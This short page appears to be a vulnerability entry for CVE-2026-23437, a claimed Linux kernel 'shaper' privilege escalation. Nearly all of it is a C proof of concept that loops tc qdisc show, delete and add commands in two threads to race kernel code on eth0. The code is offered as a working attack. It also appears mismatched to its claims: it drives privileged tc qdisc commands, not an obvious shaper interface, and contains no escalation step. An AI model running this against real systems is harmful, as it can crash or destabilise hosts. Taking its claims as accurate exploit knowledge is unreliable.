CVE-2026-23437 Linux内核shaper权限提升漏洞

/* * PoC for CVE-2026-23437 (Conceptual) * Trigger race condition in net/shaper hierarchy access. */ #include <pthread.h> #include <unistd.h> #include <stdlib.h> void *netlink_flood(void *arg) { while (1) { // Simulate Netlink ops that lookup -> ref -> lock netdev // This creates the window between ref and lock system("tc qdisc show dev eth0 > /dev/null 2>&1"); } } void *device_remover(void *arg) { while (1) { // Unregister and re-register the shaper to trigger liveness issue system("tc qdisc del dev eth0 root 2>/dev/null"); system("tc qdisc add dev eth0 root netem 2>/dev/null"); } } int main() { pthread_t t1, t2; pthread_create(&t1, NULL, netlink_flood, NULL); pthread_create(&t2, NULL, device_remover, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }